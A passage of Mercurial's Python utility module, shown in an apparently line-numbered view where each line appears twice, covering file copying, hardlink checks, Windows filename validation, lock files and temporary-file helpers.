1762 buf = []
1763 buf = []
1763 blen = 0
1764 blen = 0
1764 for chunk in source:
1765 for chunk in source:
1765 buf.append(chunk)
1766 buf.append(chunk)
1766 blen += len(chunk)
1767 blen += len(chunk)
1767 if blen >= min:
1768 if blen >= min:
1768 if min < max:
1769 if min < max:
1769 min = min << 1
1770 min = min << 1
1770 nmin = 1 << log2(blen)
1771 nmin = 1 << log2(blen)
1771 if nmin > min:
1772 if nmin > min:
1772 min = nmin
1773 min = nmin
1773 if min > max:
1774 if min > max:
1774 min = max
1775 min = max
1775 yield b''.join(buf)
1776 yield b''.join(buf)
1776 blen = 0
1777 blen = 0
1777 buf = []
1778 buf = []
1778 if buf:
1779 if buf:
1779 yield b''.join(buf)
1780 yield b''.join(buf)
1780
1781
1781
1782
1782 def always(fn):
1783 def always(fn):
1783 return True
1784 return True
1784
1785
1785
1786
1786 def never(fn):
1787 def never(fn):
1787 return False
1788 return False
1788
1789
1789
1790
1790 def nogc(func):
1791 def nogc(func):
1791 """disable garbage collector
1792 """disable garbage collector
1792
1793
1793 Python's garbage collector triggers a GC each time a certain number of
1794 Python's garbage collector triggers a GC each time a certain number of
1794 container objects (the number being defined by gc.get_threshold()) are
1795 container objects (the number being defined by gc.get_threshold()) are
1795 allocated even when marked not to be tracked by the collector. Tracking has
1796 allocated even when marked not to be tracked by the collector. Tracking has
1796 no effect on when GCs are triggered, only on what objects the GC looks
1797 no effect on when GCs are triggered, only on what objects the GC looks
1797 into. As a workaround, disable GC while building complex (huge)
1798 into. As a workaround, disable GC while building complex (huge)
1798 containers.
1799 containers.
1799
1800
1800 This garbage collector issue have been fixed in 2.7. But it still affect
1801 This garbage collector issue have been fixed in 2.7. But it still affect
1801 CPython's performance.
1802 CPython's performance.
1802 """
1803 """
1803
1804
1804 def wrapper(*args, **kwargs):
1805 def wrapper(*args, **kwargs):
1805 gcenabled = gc.isenabled()
1806 gcenabled = gc.isenabled()
1806 gc.disable()
1807 gc.disable()
1807 try:
1808 try:
1808 return func(*args, **kwargs)
1809 return func(*args, **kwargs)
1809 finally:
1810 finally:
1810 if gcenabled:
1811 if gcenabled:
1811 gc.enable()
1812 gc.enable()
1812
1813
1813 return wrapper
1814 return wrapper
1814
1815
1815
1816
1816 if pycompat.ispypy:
1817 if pycompat.ispypy:
1817 # PyPy runs slower with gc disabled
1818 # PyPy runs slower with gc disabled
1818 nogc = lambda x: x
1819 nogc = lambda x: x
1819
1820
1820
1821
1821 def pathto(root, n1, n2):
1822 def pathto(root, n1, n2):
1822 '''return the relative path from one place to another.
1823 '''return the relative path from one place to another.
1823 root should use os.sep to separate directories
1824 root should use os.sep to separate directories
1824 n1 should use os.sep to separate directories
1825 n1 should use os.sep to separate directories
1825 n2 should use "/" to separate directories
1826 n2 should use "/" to separate directories
1826 returns an os.sep-separated path.
1827 returns an os.sep-separated path.
1827
1828
1828 If n1 is a relative path, it's assumed it's
1829 If n1 is a relative path, it's assumed it's
1829 relative to root.
1830 relative to root.
1830 n2 should always be relative to root.
1831 n2 should always be relative to root.
1831 '''
1832 '''
1832 if not n1:
1833 if not n1:
1833 return localpath(n2)
1834 return localpath(n2)
1834 if os.path.isabs(n1):
1835 if os.path.isabs(n1):
1835 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1836 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1836 return os.path.join(root, localpath(n2))
1837 return os.path.join(root, localpath(n2))
1837 n2 = b'/'.join((pconvert(root), n2))
1838 n2 = b'/'.join((pconvert(root), n2))
1838 a, b = splitpath(n1), n2.split(b'/')
1839 a, b = splitpath(n1), n2.split(b'/')
1839 a.reverse()
1840 a.reverse()
1840 b.reverse()
1841 b.reverse()
1841 while a and b and a[-1] == b[-1]:
1842 while a and b and a[-1] == b[-1]:
1842 a.pop()
1843 a.pop()
1843 b.pop()
1844 b.pop()
1844 b.reverse()
1845 b.reverse()
1845 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1846 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1846
1847
1847
1848
1848 def checksignature(func):
1849 def checksignature(func):
1849 '''wrap a function with code to check for calling errors'''
1850 '''wrap a function with code to check for calling errors'''
1850
1851
1851 def check(*args, **kwargs):
1852 def check(*args, **kwargs):
1852 try:
1853 try:
1853 return func(*args, **kwargs)
1854 return func(*args, **kwargs)
1854 except TypeError:
1855 except TypeError:
1855 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1856 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1856 raise error.SignatureError
1857 raise error.SignatureError
1857 raise
1858 raise
1858
1859
1859 return check
1860 return check
1860
1861
1861
1862
1862 # a whilelist of known filesystems where hardlink works reliably
1863 # a whilelist of known filesystems where hardlink works reliably
1863 _hardlinkfswhitelist = {
1864 _hardlinkfswhitelist = {
1864 b'apfs',
1865 b'apfs',
1865 b'btrfs',
1866 b'btrfs',
1866 b'ext2',
1867 b'ext2',
1867 b'ext3',
1868 b'ext3',
1868 b'ext4',
1869 b'ext4',
1869 b'hfs',
1870 b'hfs',
1870 b'jfs',
1871 b'jfs',
1871 b'NTFS',
1872 b'NTFS',
1872 b'reiserfs',
1873 b'reiserfs',
1873 b'tmpfs',
1874 b'tmpfs',
1874 b'ufs',
1875 b'ufs',
1875 b'xfs',
1876 b'xfs',
1876 b'zfs',
1877 b'zfs',
1877 }
1878 }
1878
1879
1879
1880
1880 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1881 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1881 '''copy a file, preserving mode and optionally other stat info like
1882 '''copy a file, preserving mode and optionally other stat info like
1882 atime/mtime
1883 atime/mtime
1883
1884
1884 checkambig argument is used with filestat, and is useful only if
1885 checkambig argument is used with filestat, and is useful only if
1885 destination file is guarded by any lock (e.g. repo.lock or
1886 destination file is guarded by any lock (e.g. repo.lock or
1886 repo.wlock).
1887 repo.wlock).
1887
1888
1888 copystat and checkambig should be exclusive.
1889 copystat and checkambig should be exclusive.
1889 '''
1890 '''
1890 assert not (copystat and checkambig)
1891 assert not (copystat and checkambig)
1891 oldstat = None
1892 oldstat = None
1892 if os.path.lexists(dest):
1893 if os.path.lexists(dest):
1893 if checkambig:
1894 if checkambig:
1894 oldstat = checkambig and filestat.frompath(dest)
1895 oldstat = checkambig and filestat.frompath(dest)
1895 unlink(dest)
1896 unlink(dest)
1896 if hardlink:
1897 if hardlink:
1897 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1898 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1898 # unless we are confident that dest is on a whitelisted filesystem.
1899 # unless we are confident that dest is on a whitelisted filesystem.
1899 try:
1900 try:
1900 fstype = getfstype(os.path.dirname(dest))
1901 fstype = getfstype(os.path.dirname(dest))
1901 except OSError:
1902 except OSError:
1902 fstype = None
1903 fstype = None
1903 if fstype not in _hardlinkfswhitelist:
1904 if fstype not in _hardlinkfswhitelist:
1904 hardlink = False
1905 hardlink = False
1905 if hardlink:
1906 if hardlink:
1906 try:
1907 try:
1907 oslink(src, dest)
1908 oslink(src, dest)
1908 return
1909 return
1909 except (IOError, OSError):
1910 except (IOError, OSError):
1910 pass # fall back to normal copy
1911 pass # fall back to normal copy
1911 if os.path.islink(src):
1912 if os.path.islink(src):
1912 os.symlink(os.readlink(src), dest)
1913 os.symlink(os.readlink(src), dest)
1913 # copytime is ignored for symlinks, but in general copytime isn't needed
1914 # copytime is ignored for symlinks, but in general copytime isn't needed
1914 # for them anyway
1915 # for them anyway
1915 else:
1916 else:
1916 try:
1917 try:
1917 shutil.copyfile(src, dest)
1918 shutil.copyfile(src, dest)
1918 if copystat:
1919 if copystat:
1919 # copystat also copies mode
1920 # copystat also copies mode
1920 shutil.copystat(src, dest)
1921 shutil.copystat(src, dest)
1921 else:
1922 else:
1922 shutil.copymode(src, dest)
1923 shutil.copymode(src, dest)
1923 if oldstat and oldstat.stat:
1924 if oldstat and oldstat.stat:
1924 newstat = filestat.frompath(dest)
1925 newstat = filestat.frompath(dest)
1925 if newstat.isambig(oldstat):
1926 if newstat.isambig(oldstat):
1926 # stat of copied file is ambiguous to original one
1927 # stat of copied file is ambiguous to original one
1927 advanced = (
1928 advanced = (
1928 oldstat.stat[stat.ST_MTIME] + 1
1929 oldstat.stat[stat.ST_MTIME] + 1
1929 ) & 0x7FFFFFFF
1930 ) & 0x7FFFFFFF
1930 os.utime(dest, (advanced, advanced))
1931 os.utime(dest, (advanced, advanced))
1931 except shutil.Error as inst:
1932 except shutil.Error as inst:
1932 raise error.Abort(stringutil.forcebytestr(inst))
1933 raise error.Abort(stringutil.forcebytestr(inst))
1933
1934
1934
1935
1935 def copyfiles(src, dst, hardlink=None, progress=None):
1936 def copyfiles(src, dst, hardlink=None, progress=None):
1936 """Copy a directory tree using hardlinks if possible."""
1937 """Copy a directory tree using hardlinks if possible."""
1937 num = 0
1938 num = 0
1938
1939
1939 def settopic():
1940 def settopic():
1940 if progress:
1941 if progress:
1941 progress.topic = _(b'linking') if hardlink else _(b'copying')
1942 progress.topic = _(b'linking') if hardlink else _(b'copying')
1942
1943
1943 if os.path.isdir(src):
1944 if os.path.isdir(src):
1944 if hardlink is None:
1945 if hardlink is None:
1945 hardlink = (
1946 hardlink = (
1946 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1947 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1947 )
1948 )
1948 settopic()
1949 settopic()
1949 os.mkdir(dst)
1950 os.mkdir(dst)
1950 for name, kind in listdir(src):
1951 for name, kind in listdir(src):
1951 srcname = os.path.join(src, name)
1952 srcname = os.path.join(src, name)
1952 dstname = os.path.join(dst, name)
1953 dstname = os.path.join(dst, name)
1953 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1954 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1954 num += n
1955 num += n
1955 else:
1956 else:
1956 if hardlink is None:
1957 if hardlink is None:
1957 hardlink = (
1958 hardlink = (
1958 os.stat(os.path.dirname(src)).st_dev
1959 os.stat(os.path.dirname(src)).st_dev
1959 == os.stat(os.path.dirname(dst)).st_dev
1960 == os.stat(os.path.dirname(dst)).st_dev
1960 )
1961 )
1961 settopic()
1962 settopic()
1962
1963
1963 if hardlink:
1964 if hardlink:
1964 try:
1965 try:
1965 oslink(src, dst)
1966 oslink(src, dst)
1966 except (IOError, OSError):
1967 except (IOError, OSError):
1967 hardlink = False
1968 hardlink = False
1968 shutil.copy(src, dst)
1969 shutil.copy(src, dst)
1969 else:
1970 else:
1970 shutil.copy(src, dst)
1971 shutil.copy(src, dst)
1971 num += 1
1972 num += 1
1972 if progress:
1973 if progress:
1973 progress.increment()
1974 progress.increment()
1974
1975
1975 return hardlink, num
1976 return hardlink, num
1976
1977
1977
1978
1978 _winreservednames = {
1979 _winreservednames = {
1979 b'con',
1980 b'con',
1980 b'prn',
1981 b'prn',
1981 b'aux',
1982 b'aux',
1982 b'nul',
1983 b'nul',
1983 b'com1',
1984 b'com1',
1984 b'com2',
1985 b'com2',
1985 b'com3',
1986 b'com3',
1986 b'com4',
1987 b'com4',
1987 b'com5',
1988 b'com5',
1988 b'com6',
1989 b'com6',
1989 b'com7',
1990 b'com7',
1990 b'com8',
1991 b'com8',
1991 b'com9',
1992 b'com9',
1992 b'lpt1',
1993 b'lpt1',
1993 b'lpt2',
1994 b'lpt2',
1994 b'lpt3',
1995 b'lpt3',
1995 b'lpt4',
1996 b'lpt4',
1996 b'lpt5',
1997 b'lpt5',
1997 b'lpt6',
1998 b'lpt6',
1998 b'lpt7',
1999 b'lpt7',
1999 b'lpt8',
2000 b'lpt8',
2000 b'lpt9',
2001 b'lpt9',
2001 }
2002 }
2002 _winreservedchars = b':*?"<>|'
2003 _winreservedchars = b':*?"<>|'
2003
2004
2004
2005
2005 def checkwinfilename(path):
2006 def checkwinfilename(path):
2006 r'''Check that the base-relative path is a valid filename on Windows.
2007 r'''Check that the base-relative path is a valid filename on Windows.
2007 Returns None if the path is ok, or a UI string describing the problem.
2008 Returns None if the path is ok, or a UI string describing the problem.
2008
2009
2009 >>> checkwinfilename(b"just/a/normal/path")
2010 >>> checkwinfilename(b"just/a/normal/path")
2010 >>> checkwinfilename(b"foo/bar/con.xml")
2011 >>> checkwinfilename(b"foo/bar/con.xml")
2011 "filename contains 'con', which is reserved on Windows"
2012 "filename contains 'con', which is reserved on Windows"
2012 >>> checkwinfilename(b"foo/con.xml/bar")
2013 >>> checkwinfilename(b"foo/con.xml/bar")
2013 "filename contains 'con', which is reserved on Windows"
2014 "filename contains 'con', which is reserved on Windows"
2014 >>> checkwinfilename(b"foo/bar/xml.con")
2015 >>> checkwinfilename(b"foo/bar/xml.con")
2015 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2016 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2016 "filename contains 'AUX', which is reserved on Windows"
2017 "filename contains 'AUX', which is reserved on Windows"
2017 >>> checkwinfilename(b"foo/bar/bla:.txt")
2018 >>> checkwinfilename(b"foo/bar/bla:.txt")
2018 "filename contains ':', which is reserved on Windows"
2019 "filename contains ':', which is reserved on Windows"
2019 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2020 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2020 "filename contains '\\x07', which is invalid on Windows"
2021 "filename contains '\\x07', which is invalid on Windows"
2021 >>> checkwinfilename(b"foo/bar/bla ")
2022 >>> checkwinfilename(b"foo/bar/bla ")
2022 "filename ends with ' ', which is not allowed on Windows"
2023 "filename ends with ' ', which is not allowed on Windows"
2023 >>> checkwinfilename(b"../bar")
2024 >>> checkwinfilename(b"../bar")
2024 >>> checkwinfilename(b"foo\\")
2025 >>> checkwinfilename(b"foo\\")
2025 "filename ends with '\\', which is invalid on Windows"
2026 "filename ends with '\\', which is invalid on Windows"
2026 >>> checkwinfilename(b"foo\\/bar")
2027 >>> checkwinfilename(b"foo\\/bar")
2027 "directory name ends with '\\', which is invalid on Windows"
2028 "directory name ends with '\\', which is invalid on Windows"
2028 '''
2029 '''
2029 if path.endswith(b'\\'):
2030 if path.endswith(b'\\'):
2030 return _(b"filename ends with '\\', which is invalid on Windows")
2031 return _(b"filename ends with '\\', which is invalid on Windows")
2031 if b'\\/' in path:
2032 if b'\\/' in path:
2032 return _(b"directory name ends with '\\', which is invalid on Windows")
2033 return _(b"directory name ends with '\\', which is invalid on Windows")
2033 for n in path.replace(b'\\', b'/').split(b'/'):
2034 for n in path.replace(b'\\', b'/').split(b'/'):
2034 if not n:
2035 if not n:
2035 continue
2036 continue
2036 for c in _filenamebytestr(n):
2037 for c in _filenamebytestr(n):
2037 if c in _winreservedchars:
2038 if c in _winreservedchars:
2038 return (
2039 return (
2039 _(
2040 _(
2040 b"filename contains '%s', which is reserved "
2041 b"filename contains '%s', which is reserved "
2041 b"on Windows"
2042 b"on Windows"
2042 )
2043 )
2043 % c
2044 % c
2044 )
2045 )
2045 if ord(c) <= 31:
2046 if ord(c) <= 31:
2046 return _(
2047 return _(
2047 b"filename contains '%s', which is invalid on Windows"
2048 b"filename contains '%s', which is invalid on Windows"
2048 ) % stringutil.escapestr(c)
2049 ) % stringutil.escapestr(c)
2049 base = n.split(b'.')[0]
2050 base = n.split(b'.')[0]
2050 if base and base.lower() in _winreservednames:
2051 if base and base.lower() in _winreservednames:
2051 return (
2052 return (
2052 _(b"filename contains '%s', which is reserved on Windows")
2053 _(b"filename contains '%s', which is reserved on Windows")
2053 % base
2054 % base
2054 )
2055 )
2055 t = n[-1:]
2056 t = n[-1:]
2056 if t in b'. ' and n not in b'..':
2057 if t in b'. ' and n not in b'..':
2057 return (
2058 return (
2058 _(
2059 _(
2059 b"filename ends with '%s', which is not allowed "
2060 b"filename ends with '%s', which is not allowed "
2060 b"on Windows"
2061 b"on Windows"
2061 )
2062 )
2062 % t
2063 % t
2063 )
2064 )
2064
2065
2065
2066
2066 timer = getattr(time, "perf_counter", None)
2067 timer = getattr(time, "perf_counter", None)
2067
2068
2068 if pycompat.iswindows:
2069 if pycompat.iswindows:
2069 checkosfilename = checkwinfilename
2070 checkosfilename = checkwinfilename
2070 if not timer:
2071 if not timer:
2071 timer = time.clock
2072 timer = time.clock
2072 else:
2073 else:
2073 # mercurial.windows doesn't have platform.checkosfilename
2074 # mercurial.windows doesn't have platform.checkosfilename
2074 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2075 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2075 if not timer:
2076 if not timer:
2076 timer = time.time
2077 timer = time.time
2077
2078
2078
2079
2079 def makelock(info, pathname):
2080 def makelock(info, pathname):
2080 """Create a lock file atomically if possible
2081 """Create a lock file atomically if possible
2081
2082
2082 This may leave a stale lock file if symlink isn't supported and signal
2083 This may leave a stale lock file if symlink isn't supported and signal
2083 interrupt is enabled.
2084 interrupt is enabled.
2084 """
2085 """
2085 try:
2086 try:
2086 return os.symlink(info, pathname)
2087 return os.symlink(info, pathname)
2087 except OSError as why:
2088 except OSError as why:
2088 if why.errno == errno.EEXIST:
2089 if why.errno == errno.EEXIST:
2089 raise
2090 raise
2090 except AttributeError: # no symlink in os
2091 except AttributeError: # no symlink in os
2091 pass
2092 pass
2092
2093
2093 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2094 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2094 ld = os.open(pathname, flags)
2095 ld = os.open(pathname, flags)
2095 os.write(ld, info)
2096 os.write(ld, info)
2096 os.close(ld)
2097 os.close(ld)
2097
2098
2098
2099
2099 def readlock(pathname):
2100 def readlock(pathname):
2100 try:
2101 try:
2101 return readlink(pathname)
2102 return readlink(pathname)
2102 except OSError as why:
2103 except OSError as why:
2103 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2104 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2104 raise
2105 raise
2105 except AttributeError: # no symlink in os
2106 except AttributeError: # no symlink in os
2106 pass
2107 pass
2107 with posixfile(pathname, b'rb') as fp:
2108 with posixfile(pathname, b'rb') as fp:
2108 return fp.read()
2109 return fp.read()
2109
2110
2110
2111
2111 def fstat(fp):
2112 def fstat(fp):
2112 '''stat file object that may not have fileno method.'''
2113 '''stat file object that may not have fileno method.'''
2113 try:
2114 try:
2114 return os.fstat(fp.fileno())
2115 return os.fstat(fp.fileno())
2115 except AttributeError:
2116 except AttributeError:
2116 return os.stat(fp.name)
2117 return os.stat(fp.name)
2117
2118
2118
2119
2119 # File system features
2120 # File system features
2120
2121
2121
2122
2122 def fscasesensitive(path):
2123 def fscasesensitive(path):
2123 """
2124 """
2124 Return true if the given path is on a case-sensitive filesystem
2125 Return true if the given path is on a case-sensitive filesystem
2125
2126
2126 Requires a path (like /foo/.hg) ending with a foldable final
2127 Requires a path (like /foo/.hg) ending with a foldable final
2127 directory component.
2128 directory component.
2128 """
2129 """
2129 s1 = os.lstat(path)
2130 s1 = os.lstat(path)
2130 d, b = os.path.split(path)
2131 d, b = os.path.split(path)
2131 b2 = b.upper()
2132 b2 = b.upper()
2132 if b == b2:
2133 if b == b2:
2133 b2 = b.lower()
2134 b2 = b.lower()
2134 if b == b2:
2135 if b == b2:
2135 return True # no evidence against case sensitivity
2136 return True # no evidence against case sensitivity
2136 p2 = os.path.join(d, b2)
2137 p2 = os.path.join(d, b2)
2137 try:
2138 try:
2138 s2 = os.lstat(p2)
2139 s2 = os.lstat(p2)
2139 if s2 == s1:
2140 if s2 == s1:
2140 return False
2141 return False
2141 return True
2142 return True
2142 except OSError:
2143 except OSError:
2143 return True
2144 return True
2144
2145
2145
2146
2146 try:
2147 try:
2147 import re2 # pytype: disable=import-error
2148 import re2 # pytype: disable=import-error
2148
2149
2149 _re2 = None
2150 _re2 = None
2150 except ImportError:
2151 except ImportError:
2151 _re2 = False
2152 _re2 = False
2152
2153
2153
2154
2154 class _re(object):
2155 class _re(object):
2155 def _checkre2(self):
2156 def _checkre2(self):
2156 global _re2
2157 global _re2
2157 try:
2158 try:
2158 # check if match works, see issue3964
2159 # check if match works, see issue3964
2159 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2160 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2160 except ImportError:
2161 except ImportError:
2161 _re2 = False
2162 _re2 = False
2162
2163
2163 def compile(self, pat, flags=0):
2164 def compile(self, pat, flags=0):
2164 '''Compile a regular expression, using re2 if possible
2165 '''Compile a regular expression, using re2 if possible
2165
2166
2166 For best performance, use only re2-compatible regexp features. The
2167 For best performance, use only re2-compatible regexp features. The
2167 only flags from the re module that are re2-compatible are
2168 only flags from the re module that are re2-compatible are
2168 IGNORECASE and MULTILINE.'''
2169 IGNORECASE and MULTILINE.'''
2169 if _re2 is None:
2170 if _re2 is None:
2170 self._checkre2()
2171 self._checkre2()
2171 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2172 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2172 if flags & remod.IGNORECASE:
2173 if flags & remod.IGNORECASE:
2173 pat = b'(?i)' + pat
2174 pat = b'(?i)' + pat
2174 if flags & remod.MULTILINE:
2175 if flags & remod.MULTILINE:
2175 pat = b'(?m)' + pat
2176 pat = b'(?m)' + pat
2176 try:
2177 try:
2177 return re2.compile(pat)
2178 return re2.compile(pat)
2178 except re2.error:
2179 except re2.error:
2179 pass
2180 pass
2180 return remod.compile(pat, flags)
2181 return remod.compile(pat, flags)
2181
2182
2182 @propertycache
2183 @propertycache
2183 def escape(self):
2184 def escape(self):
2184 '''Return the version of escape corresponding to self.compile.
2185 '''Return the version of escape corresponding to self.compile.
2185
2186
2186 This is imperfect because whether re2 or re is used for a particular
2187 This is imperfect because whether re2 or re is used for a particular
2187 function depends on the flags, etc, but it's the best we can do.
2188 function depends on the flags, etc, but it's the best we can do.
2188 '''
2189 '''
2189 global _re2
2190 global _re2
2190 if _re2 is None:
2191 if _re2 is None:
2191 self._checkre2()
2192 self._checkre2()
2192 if _re2:
2193 if _re2:
2193 return re2.escape
2194 return re2.escape
2194 else:
2195 else:
2195 return remod.escape
2196 return remod.escape
2196
2197
2197
2198
2198 re = _re()
2199 re = _re()
2199
2200
2200 _fspathcache = {}
2201 _fspathcache = {}
2201
2202
2202
2203
2203 def fspath(name, root):
2204 def fspath(name, root):
2204 '''Get name in the case stored in the filesystem
2205 '''Get name in the case stored in the filesystem
2205
2206
2206 The name should be relative to root, and be normcase-ed for efficiency.
2207 The name should be relative to root, and be normcase-ed for efficiency.
2207
2208
2208 Note that this function is unnecessary, and should not be
2209 Note that this function is unnecessary, and should not be
2209 called, for case-sensitive filesystems (simply because it's expensive).
2210 called, for case-sensitive filesystems (simply because it's expensive).
2210
2211
2211 The root should be normcase-ed, too.
2212 The root should be normcase-ed, too.
2212 '''
2213 '''
2213
2214
2214 def _makefspathcacheentry(dir):
2215 def _makefspathcacheentry(dir):
2215 return dict((normcase(n), n) for n in os.listdir(dir))
2216 return dict((normcase(n), n) for n in os.listdir(dir))
2216
2217
2217 seps = pycompat.ossep
2218 seps = pycompat.ossep
2218 if pycompat.osaltsep:
2219 if pycompat.osaltsep:
2219 seps = seps + pycompat.osaltsep
2220 seps = seps + pycompat.osaltsep
2220 # Protect backslashes. This gets silly very quickly.
2221 # Protect backslashes. This gets silly very quickly.
2221 seps.replace(b'\\', b'\\\\')
2222 seps.replace(b'\\', b'\\\\')
2222 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2223 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2223 dir = os.path.normpath(root)
2224 dir = os.path.normpath(root)
2224 result = []
2225 result = []
2225 for part, sep in pattern.findall(name):
2226 for part, sep in pattern.findall(name):
2226 if sep:
2227 if sep:
2227 result.append(sep)
2228 result.append(sep)
2228 continue
2229 continue
2229
2230
2230 if dir not in _fspathcache:
2231 if dir not in _fspathcache:
2231 _fspathcache[dir] = _makefspathcacheentry(dir)
2232 _fspathcache[dir] = _makefspathcacheentry(dir)
2232 contents = _fspathcache[dir]
2233 contents = _fspathcache[dir]
2233
2234
2234 found = contents.get(part)
2235 found = contents.get(part)
2235 if not found:
2236 if not found:
2236 # retry "once per directory" per "dirstate.walk" which
2237 # retry "once per directory" per "dirstate.walk" which
2237 # may take place for each patches of "hg qpush", for example
2238 # may take place for each patches of "hg qpush", for example
2238 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2239 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2239 found = contents.get(part)
2240 found = contents.get(part)
2240
2241
2241 result.append(found or part)
2242 result.append(found or part)
2242 dir = os.path.join(dir, part)
2243 dir = os.path.join(dir, part)
2243
2244
2244 return b''.join(result)
2245 return b''.join(result)
2245
2246
2246
2247
2247 def checknlink(testfile):
2248 def checknlink(testfile):
2248 '''check whether hardlink count reporting works properly'''
2249 '''check whether hardlink count reporting works properly'''
2249
2250
2250 # testfile may be open, so we need a separate file for checking to
2251 # testfile may be open, so we need a separate file for checking to
2251 # work around issue2543 (or testfile may get lost on Samba shares)
2252 # work around issue2543 (or testfile may get lost on Samba shares)
2252 f1, f2, fp = None, None, None
2253 f1, f2, fp = None, None, None
2253 try:
2254 try:
2254 fd, f1 = pycompat.mkstemp(
2255 fd, f1 = pycompat.mkstemp(
2255 prefix=b'.%s-' % os.path.basename(testfile),
2256 prefix=b'.%s-' % os.path.basename(testfile),
2256 suffix=b'1~',
2257 suffix=b'1~',
2257 dir=os.path.dirname(testfile),
2258 dir=os.path.dirname(testfile),
2258 )
2259 )
2259 os.close(fd)
2260 os.close(fd)
2260 f2 = b'%s2~' % f1[:-2]
2261 f2 = b'%s2~' % f1[:-2]
2261
2262
2262 oslink(f1, f2)
2263 oslink(f1, f2)
2263 # nlinks() may behave differently for files on Windows shares if
2264 # nlinks() may behave differently for files on Windows shares if
2264 # the file is open.
2265 # the file is open.
2265 fp = posixfile(f2)
2266 fp = posixfile(f2)
2266 return nlinks(f2) > 1
2267 return nlinks(f2) > 1
2267 except OSError:
2268 except OSError:
2268 return False
2269 return False
2269 finally:
2270 finally:
2270 if fp is not None:
2271 if fp is not None:
2271 fp.close()
2272 fp.close()
2272 for f in (f1, f2):
2273 for f in (f1, f2):
2273 try:
2274 try:
2274 if f is not None:
2275 if f is not None:
2275 os.unlink(f)
2276 os.unlink(f)
2276 except OSError:
2277 except OSError:
2277 pass
2278 pass
2278
2279
2279
2280
2280 def endswithsep(path):
2281 def endswithsep(path):
2281 '''Check path ends with os.sep or os.altsep.'''
2282 '''Check path ends with os.sep or os.altsep.'''
2282 return (
2283 return (
2283 path.endswith(pycompat.ossep)
2284 path.endswith(pycompat.ossep)
2284 or pycompat.osaltsep
2285 or pycompat.osaltsep
2285 and path.endswith(pycompat.osaltsep)
2286 and path.endswith(pycompat.osaltsep)
2286 )
2287 )
2287
2288
2288
2289
2289 def splitpath(path):
2290 def splitpath(path):
2290 '''Split path by os.sep.
2291 '''Split path by os.sep.
2291 Note that this function does not use os.altsep because this is
2292 Note that this function does not use os.altsep because this is
2292 an alternative of simple "xxx.split(os.sep)".
2293 an alternative of simple "xxx.split(os.sep)".
2293 It is recommended to use os.path.normpath() before using this
2294 It is recommended to use os.path.normpath() before using this
2294 function if need.'''
2295 function if need.'''
2295 return path.split(pycompat.ossep)
2296 return path.split(pycompat.ossep)
2296
2297
2297
2298
2298 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2299 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2299 """Create a temporary file with the same contents from name
2300 """Create a temporary file with the same contents from name
2300
2301
2301 The permission bits are copied from the original file.
2302 The permission bits are copied from the original file.
2302
2303
2303 If the temporary file is going to be truncated immediately, you
2304 If the temporary file is going to be truncated immediately, you
2304 can use emptyok=True as an optimization.
2305 can use emptyok=True as an optimization.
2305
2306
2306 Returns the name of the temporary file.
2307 Returns the name of the temporary file.
2307 """
2308 """
2308 d, fn = os.path.split(name)
2309 d, fn = os.path.split(name)
2309 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2310 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2310 os.close(fd)
2311 os.close(fd)
2311 # Temporary files are created with mode 0600, which is usually not
2312 # Temporary files are created with mode 0600, which is usually not
2312 # what we want. If the original file already exists, just copy
2313 # what we want. If the original file already exists, just copy
2313 # its mode. Otherwise, manually obey umask.
2314 # its mode. Otherwise, manually obey umask.
2314 copymode(name, temp, createmode, enforcewritable)
2315 copymode(name, temp, createmode, enforcewritable)
2315
2316
2316 if emptyok:
2317 if emptyok:
2317 return temp
2318 return temp
2318 try:
2319 try:
2319 try:
2320 try:
2320 ifp = posixfile(name, b"rb")
2321 ifp = posixfile(name, b"rb")
2321 except IOError as inst:
2322 except IOError as inst:
2322 if inst.errno == errno.ENOENT:
2323 if inst.errno == errno.ENOENT:
2323 return temp
2324 return temp
2324 if not getattr(inst, 'filename', None):
2325 if not getattr(inst, 'filename', None):
2325 inst.filename = name
2326 inst.filename = name
2326 raise
2327 raise
2327 ofp = posixfile(temp, b"wb")
2328 ofp = posixfile(temp, b"wb")
2328 for chunk in filechunkiter(ifp):
2329 for chunk in filechunkiter(ifp):
2329 ofp.write(chunk)
2330 ofp.write(chunk)
2330 ifp.close()
2331 ifp.close()
2331 ofp.close()
2332 ofp.close()
2332 except: # re-raises
2333 except: # re-raises
2333 try:
2334 try:
2334 os.unlink(temp)
2335 os.unlink(temp)
2335 except OSError:
